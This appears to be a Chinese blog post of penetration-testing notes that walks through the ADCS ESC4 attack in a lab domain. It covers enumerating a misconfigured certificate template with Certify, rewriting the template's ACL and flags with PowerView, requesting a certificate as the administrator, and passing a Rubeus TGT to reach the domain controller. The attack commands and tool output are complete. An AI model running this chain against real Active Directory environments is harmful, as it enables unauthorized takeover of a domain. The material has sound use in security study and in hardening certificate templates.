域渗透笔记-ADCS 域提权-ESC4

发布于 2023-02-06  1550 次阅读


简介:

AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书,这些证书模板是注册策略和预定义证书设置的集合,并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?,以及无数其他设置。证书模板有一组特定的设置,这使得它们非常容易受到攻击。

ESC4原理:

证书模板是ActiveDirectory中的安全对象,这意味着它们有一个安全描述符,指定哪些ActiveDirectory主体对模板具有特定权限。我们说,如果一个模板有访问控制项(ACE),允许AD主体在模板中编辑敏感的安全设置,那么这个模板在访问控制上就存在配置错误。也就是说,如果攻击者可以访问这些AD主体,他们就可以主动将错误配置推送到一个安全的模板,攻击者可以设置易受攻击的EKU(ESC1-ESC3)、翻转设置(如CTFLAGERINCOLEE SUBERS SUBJECT(ESc1))或删除“颁发要求”(如管理批准或授权签名)。

ESC4利用条件:

1.对模板有编辑写入权限

如何设置可被滥用的模板:

1.获取易受攻击模板(ESC4)的注册权限
2.禁用PEND_ALL_REQUESTS标志mspki-enrollment-flag以禁用管理批准
3.将mspki-ra-signature属性设置为0以禁用授权签名要求
4.启用ENROLLEE_SUPPLIES_SUBJECT标志以mspki-certificate-name-flag将高特权帐户名称指定为 SAN
5.设置mspki-certificate-application-policy为证书用途以进行身份验证
5.1 客户身份验证(OID:1.3.6.1.5.5.7.3.2)
5.2 智能卡登录(OID:1.3.6.1.4.1.311.20.2.2)
5.3 PKINIT客户身份验证(OID:1.3.6.1.5.2.3.4)
5.4 任何目的(OID:2.5.29.37.0)
5.5 无EKU
6.请求高权限证书进行身份验证并执行 Pass-The-Ticket 攻击

ESC4漏洞环境配置:

首先进入证书颁发机构

选择证书模板,右键管理
复制一个工作站身份认证模板,起名ESC4
接着在安全中勾选上写入权限

发布要求中勾选上CA证书管理批准和授权签名

接着保存发布即可

ESC4漏洞复现:

这里还是先用Certify检查下证书模板配置

Certify.exe find /vulnerable

C:\Users\zhangsan\Desktop>Certify.exe find /vulnerable
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=test,DC=com'

[*] Listing info about the Enterprise CA 'test-CA-CA'

    Enterprise CA Name            : test-CA-CA
    DNS Hostname                  : CA.test.com
    FullName                      : CA.test.com\test-CA-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=test-CA-CA, DC=test, DC=com
    Cert Thumbprint               : BA926BC14D8A5A42A94F7A75289F761ED3D55676
    Cert Serial                   : 6B1C11898A943F83420886349402F998
    Cert Start Date               : 2023/2/1 23:43:31
    Cert End Date                 : 2028/2/1 23:53:30
    Cert Chain                    : CN=test-CA-CA,DC=test,DC=com
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
      Allow  ManageCA, ManageCertificates               TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
    Enrollment Agent Restrictions : None

[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:

    ESC3

[!] Vulnerable Certificates Templates :

    CA Name                               : CA.test.com\test-CA-CA
    Template Name                         : ESC4
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : PEND_ALL_REQUESTS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 1
    Application Policies                  : 智能卡登录
    pkiextendedkeyusage                   : 客户端身份验证
    mspki-certificate-application-policy  : 客户端身份验证
    Permissions
      Enrollment Permissions
        Enrollment Rights           : TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Domain Computers         S-1-5-21-3103767057-400549548-1822187925-515
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
      Object Control Permissions
        Owner                       : TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
        WriteOwner Principals       : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
        WriteDacl Principals        : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519
        WriteProperty Principals    : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      TEST\Administrator            S-1-5-21-3103767057-400549548-1822187925-500
                                      TEST\Domain Admins            S-1-5-21-3103767057-400549548-1822187925-512
                                      TEST\Enterprise Admins        S-1-5-21-3103767057-400549548-1822187925-519

主要看这里

WriteProperty : WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限

WriteOwner : WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限

WriteDacl : WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。

可以看到可以编辑模板,证明符合利用条件

开始利用

首先是添加注册权限
这里使用powerview来进行操作
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Certificate-Enrollment: 此扩展权限对应“注册”权限。根据Microsoft Docs,相应的 GUID 是0e10c968-78fb-11d2-90d4-00c04f79dc55.
要获得模板的注册权,我们需要向目标证书添加Certificate-Enrollment(GUID:)0e10c968-78fb-11d2-90d4-00c04f79dc55扩展权。

给domain users组添加注册权限

Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-7
8fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=test,DC=com" -Verbose

这时候重新检查下证书模板配置,发现domain user组已经有了注册的权限

接着禁用管理批准

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

接着禁用授权签名要求

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

这时候我们可以到证书管理机构看下目前的ESC4模板配置
发布要求原本选中的CA证书管理批准和授权签名疫情全部禁用了

接着启用 msPKI-Certificate-Name-Flag 下的 ENROLLEE_SUPPLIES_SUBJECT
作用就是可以伪造用户进行证书申请

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

最后就是更改证书申请的应用扩展策略
因为我复制的客户端认证的模板,自带客户端认证,如果没有的话就要执行以下下面的命令

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

这时候我们再来看下目前的模板,已经符合ESC1的利用了

接着我们就用ESC1的方法去利用
使用Certify给域管申请一个证书

Certify.exe request /ca:CA.test.com\test-CA-CA /template:ESC4 /altname:administrator

这次没有保存成pem的到kali里面转成pfx,找了个在线的网站
https://www.chinassl.net/ssltools/convert-ssl.html

接着下载pfx文件
使用Rubeus获取tgt

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.161.177 /password:123123 /ptt
成功请求到tgt票据

这时候就可以成功访问域控文件了。

届ける言葉を今は育ててる
最后更新于 2023-02-06